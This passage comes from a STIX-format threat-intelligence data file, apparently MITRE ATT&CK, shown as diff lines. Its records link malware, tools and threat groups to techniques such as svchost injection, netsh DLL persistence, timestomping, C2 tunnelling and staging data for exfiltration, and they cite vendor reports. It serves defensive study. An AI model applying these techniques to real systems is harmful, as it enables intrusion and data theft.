[ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--30ab931e-9cc1-4e95-a3f5-364be094b54e", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to search for files on the victim\u2019s machine.(Citation: US-CERT KEYMARBLE Aug 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-03-20T02:14:26.719Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", + "description": "US-CERT. (2018, August 09). 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Retrieved June 11, 2018.", + "source_name": "Talos NavRAT May 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to set up a proxy tunnel to allow remote host access to an infected host.(Citation: Securelist fileless attacks Feb 2017)", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "modified": "2020-03-28T01:00:55.143Z", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://securelist.com/fileless-attacks-against-enterprise-networks/77403/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). 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New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e0ce4a5f-ac3b-4d61-b540-c5c3c434beb0", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) injects into the svchost.exe process.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Totbrick Oct 2016)(Citation: Microsoft Totbrick Oct 2017)(Citation: Cyberreason Anchor December 2019)", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "modified": "2020-09-11T13:27:44.732Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf", + "description": "Salinas, M., Holguin, J. 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Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ca71a63a-4481-46d2-98b2-b83cce190380", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture the victim's screen.(Citation: McAfee Netwire Mar 2015)(Citation: FireEye NETWIRE March 2019)(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2021-01-12T18:38:41.164Z", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/", + "description": "McAfee. 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Retrieved January 7, 2021.", + "source_name": "Proofpoint NETWIRE December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a45f37c0-da3f-4766-bdb2-4cc1f4bda04d", + "description": "[httpclient](https://attack.mitre.org/software/S0068) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T01:34:10.818Z", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f2f155f1-5152-4681-9c0b-b4a01968fa2e", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) captures screenshots based on specific keywords in the window\u2019s title.(Citation: Symantec Catchamas April 2018)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-03-16T16:28:16.100Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99", + "description": "Balanza, M. (2018, April 02). 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Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "source_name": "Lotus Blossom Dec 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--99686b3a-1ca4-4b36-ad4d-a8876d8c65ba", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) used the Plink utility and other tools to create tunnels to C2 servers.(Citation: FireEye APT34 Webinar Dec 2017)", + "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", + "modified": "2020-03-21T00:14:24.136Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bc72acee-e417-4de8-8084-153e141917b6", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.(Citation: Scarlet Mimic Jan 2016)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--79958f80-16ca-4287-b691-9c748d6baf66", + "description": "[Dok](https://attack.mitre.org/software/S0281) uses AppleScript to create a login item for persistence.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", + "modified": "2020-01-17T19:39:11.377Z", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x25.html", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1923a47b-5a48-44e6-883f-ca23a96fea46", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a list of running processes on the victim.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-03-20T16:40:41.309Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c1884e62-7b2e-45a1-89fd-c76b1b717f50", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has been loaded onto Exchange servers and disguised as an ISAPI filter (owaauth.dll). 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Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc", + "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to conduct timestomping by setting a specified file\u2019s timestamps to match those of a system file in the System32 directory.(Citation: Scarlet Mimic Jan 2016)", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "modified": "2020-03-17T02:15:30.794Z", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. 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PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--df48ab06-0916-4d1d-9142-d0a508d0f0d4", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) stages command output and collected data in files before exfiltration.(Citation: Unit 42 Kazuar May 2017)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-17T00:10:53.865Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47545d87-b0ae-45ae-aeea-dc849eac2f6f", + "description": "(Citation: Mandiant APT1)", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2019-08-20T13:08:13.542Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.037Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--581f8dd6-edd4-467b-a3d5-3177870b0264", + "description": "[netsh](https://attack.mitre.org/software/S0108) can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.(Citation: Demaske Netsh Persistence)", + "target_ref": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", + "modified": "2020-03-28T01:00:55.161Z", + "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html", + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", + "source_name": "Demaske Netsh Persistence" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8904bd95-4844-4fe4-b6b6-47e4a4f8d85d", + "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.(Citation: Baumgartner Naikon 2015)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2019-04-25T02:48:47.552Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", + "description": "Baumgartner, K., Golovkin, M.. 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Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) schedules the execution one of its modules by creating a new scheduler task.(Citation: Kaspersky ProjectSauron Technical Analysis)", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "modified": "2020-03-11T17:45:33.772Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2fededb7-e713-495c-a317-919c037434a8", + "description": "[SynAck](https://attack.mitre.org/software/S0242) gathers user names from infected hosts.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2021-09-08T19:22:44.752Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", + "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a602be33-6ed6-4f73-b7f6-10b47581707a", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) searches for administrator accounts on both the local victim machine and the network.(Citation: Kaspersky Poseidon Group)", + "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "modified": "2020-03-18T20:25:55.175Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.070Z", + "external_references": [ + { + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1b95cd32-155b-488d-bbf8-e16f22e2a1d5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) has the capability to download files to execute on the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2021-10-17T16:05:26.926Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018" + }, + { + "url": "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", + "description": "Zykov, K. (2020, August 13). CactusPete APT group\u2019s updated Bisonal backdoor. Retrieved May 5, 2021.", + "source_name": "Kaspersky CactusPete Aug 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6b38f460-e309-4ab1-bbc9-bd0bb30f4af9", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the time the machine was built, the time, and the time zone.(Citation: Volexity PowerDuke November 2016)", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "modified": "2019-04-22T22:31:38.506Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6e24d8d1-7376-493f-a85c-75448c80efed", + "description": "The [CozyCar](https://attack.mitre.org/software/S0046) dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main [CozyCar](https://attack.mitre.org/software/S0046) component.(Citation: F-Secure CozyDuke)", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "modified": "2020-11-23T17:03:38.865Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7507eb37-407e-4428-b29f-da0bda3f7970", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers information about the infected machine.(Citation: Symantec Buckeye)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-18T20:19:35.795Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4ce5e752-97d6-4803-a49c-0f905729a133", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of Mimikatz called Wrapikatz.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2021-03-29T19:43:26.887Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d8d6740b-a359-4f5c-b7d4-2189eea77892", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uploads and downloads information.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-09-02T18:46:33.425Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA" + }, + { + "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "source_name": "RATANKBA" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--318afc9f-92f3-4262-af70-b2e045b87737", + "description": "(Citation: FireEye admin@338)", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "modified": "2019-09-04T19:48:17.684Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.053Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e6e324d1-b775-48bb-ac9f-02fcc2428752", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about services: net start >> %temp%\\download(Citation: FireEye admin@338)", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "modified": "2019-09-04T19:48:17.582Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.052Z", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8", + "description": "The [Ke3chang](https://attack.mitre.org/groups/G0004) group has been known to compress data before exfiltration.(Citation: Mandiant Operation Ke3chang November 2014)", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2021-11-01T21:12:15.034Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.033Z", + "external_references": [ + { + "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "source_name": "Mandiant Operation Ke3chang November 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8840d33c-de12-45d5-a0e3-cdfddf789794", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) collects the computer name and host name on the compromised system.(Citation: US-CERT BADCALL)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-27T20:35:51.612Z", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "created_by_ref": 